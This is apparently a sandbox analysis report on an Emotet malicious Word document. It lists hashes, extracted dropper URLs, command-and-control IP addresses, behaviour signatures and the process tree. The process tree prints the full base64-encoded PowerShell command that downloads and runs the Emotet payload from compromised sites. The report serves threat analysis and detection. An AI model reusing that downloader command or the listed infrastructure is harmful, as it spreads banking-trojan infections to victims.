Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    61s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    13/08/2020, 12:42

Sharing

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General

  • Target
    emotet_e2_02e3709bae515c464ffd58cff635717bb10f8a7333efa3be788a76b84d46ae54_2020-08-13__124016._doc.doc
  • Size 229KB
  • Sample200813-apptj5l83a
  • SHA256 02e3709bae515c464ffd58cff635717bb10f8a7333efa3be788a76b84d46ae54
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://westchesterpestcontrolpros.com/wp-admin/fw8by_cdvmy_f/
  • exe.dropper

    http://meticulousforensic.com/wp-includes/8a_a6p3k_4c3177/
  • exe.dropper

    http://trannhukhanh.com/wp-admin/hl5c_h_ah5t/
  • exe.dropper

    http://smartkidscare.com/jwuor/jh2s_p61h_k8prfk/
  • exe.dropper

    http://uaadergs.com/wordpress/2l7s_xpy_mnpp6tjbi3/

Extracted

Family

  • emotet

C2

  • 174.102.48.180:80

  • 192.210.135.126:8080

  • 67.205.85.243:8080

  • 47.146.32.175:80

  • 116.203.32.252:8080

  • 189.212.199.126:443

  • 72.12.127.184:443

  • 180.92.239.110:8080

  • 103.86.49.11:8080

  • 181.230.116.163:80

  • 157.147.76.151:80

  • 74.120.55.163:80

  • 121.124.124.40:7080

  • 79.98.24.39:8080

  • 142.105.151.124:443

  • 167.86.90.214:8080

  • 24.179.13.119:80

  • 62.138.26.28:8080

  • 165.165.171.160:8080

  • 74.208.45.104:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_02e3709bae515c464ffd58cff635717bb10f8a7333efa3be788a76b84d46ae54_2020-08-13__124016._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:616
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABBAEQAVwBXAFEAbwB0AGkAPQAnAFcATgBOAFgAWgBsAGYAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABDAFUAUgBpAFQAWQBQAHIATwBUAE8AYABDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwARwBDAEUAVgBlAGIAcgAgAD0AIAAnAEIAcQBuAGYAJwA7ACQAVwBBAFgASgBUAHgAbgBmAD0AJwBKAFYAVABPAEkAcABuAGMAJwA7ACQASwBTAFIAQgBNAHYAYQByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQATABHAEMARQBWAGUAYgByACsAJwAuAGUAeABlACcAOwAkAEkARABaAEUARQBuAG4AaAA9ACcAWgBNAEQATABFAHQAeABoACcAOwAkAFoAQgBRAE8AWQBxAHQAdQA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAGwASQBFAG4AdAA7ACQAUABSAFgAWABTAHkAdQBhAD0AJwBoAHQAdABwADoALwAvAHcAZQBzAHQAYwBoAGUAcwB0AGUAcgBwAGUAcwB0AGMAbwBuAHQAcgBvAGwAcAByAG8AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZgB3ADgAYgB5AF8AYwBkAHYAbQB5AF8AZgAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdABpAGMAdQBsAG8AdQBzAGYAbwByAGUAbgBzAGkAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABhAF8AYQA2AHAAMwBrAF8ANABjADMAMQA3ADcALwAqAGgAdAB0AHAAOgAvAC8AdAByAGEAbgBuAGgAdQBrAGgAYQBuAGgALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAbAA1AGMAXwBoAF8AYQBoADUAdAAvACoAaAB0AHQAcAA6AC8ALwBzAG0AYQByAHQAawBpAGQAcwBjAGEAcgBlAC4AYwBvAG0ALwBqAHcAdQBvAHIALwBqAGgAMgBzAF8AcAA2ADEAaABfAGsAOABwAHIAZgBrAC8AKgBoAHQAdABwADoALwAvAHUAYQBhAGQAZQByAGcAcwAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALwAyAGwANwBzAF8AeABwAHkAXwBtAG4AcABwADYAdABqAGIAaQAzAC8AJwAuACIAcwBwAGAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEgAVQBWAFUAcQBrAGUAPQAnAEUATABEAFAAVQB6AG4AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwBCAFEATABOAHMAbwBtACAAaQBuACAAJABQAFIAWABYAFMAeQB1AGEAKQB7AHQAcgB5AHsAJABaAEIAUQBPAFkAcQB0AHUALgAiAGQAbwBgAHcATgBMAGAAbwBBAGQARgBgAGkAbABFACIAKAAkAFMAQgBRAEwATgBzAG8AbQAsACAAJABLAFMAUgBCAE0AdgBhAHIAKQA7ACQARABSAFcASwBWAG0AaABvAD0AJwBJAFkAUgBaAFEAYgB0AHAAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABLAFMAUgBCAE0AdgBhAHIAKQAuACIATABgAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADMANgAzADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABLAFMAUgBCAE0AdgBhAHIAKQA7ACQATQBJAEkAVABBAHUAagB2AD0AJwBKAFIARQBZAFkAcwB0AHAAJwA7AGIAcgBlAGEAawA7ACQATwBMAEkATwBHAHcAYwBmAD0AJwBFAFUAQgBXAEYAZABlAHQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBZAFYAUABNAHEAdABmAD0AJwBFAFoAUwBIAFcAbABzAGEAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Users\Admin\AppData\Local\Temp\Bqnf.exe
      "C:\Users\Admin\AppData\Local\Temp\Bqnf.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SysWOW64\l2nacp\dmime.exe
        "C:\Windows\SysWOW64\l2nacp\dmime.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1620

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/616-14-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/616-4-0x0000000006EA0000-0x00000000070A0000-memory.dmp
        Download

        memory/616-6-0x000000000AE50000-0x000000000AE54000-memory.dmp
        Download

        memory/616-7-0x000000000BED0000-0x000000000BED4000-memory.dmp
        Download

        memory/616-2-0x00000000088F0000-0x00000000088F4000-memory.dmp
        Download

        memory/1520-10-0x00000000024A0000-0x00000000024A1000-memory.dmp
        Download

        memory/1520-13-0x00000000022F0000-0x00000000022F1000-memory.dmp
        Download

        memory/1520-15-0x000000001C2B0000-0x000000001C2B1000-memory.dmp
        Download

        memory/1520-16-0x000000001C550000-0x000000001C551000-memory.dmp
        Download

        memory/1520-12-0x00000000027C0000-0x00000000027C1000-memory.dmp
        Download

        memory/1520-11-0x000000001AB50000-0x000000001AB51000-memory.dmp
        Download

        memory/1520-9-0x000007FEF27A0000-0x000007FEF318C000-memory.dmp
        Download

        memory/1548-24-0x000007FEF2F10000-0x000007FEF318A000-memory.dmp
        Download

        memory/1620-23-0x00000000002A0000-0x00000000002AC000-memory.dmp
        Download

        memory/1788-19-0x0000000000280000-0x000000000028C000-memory.dmp
        Download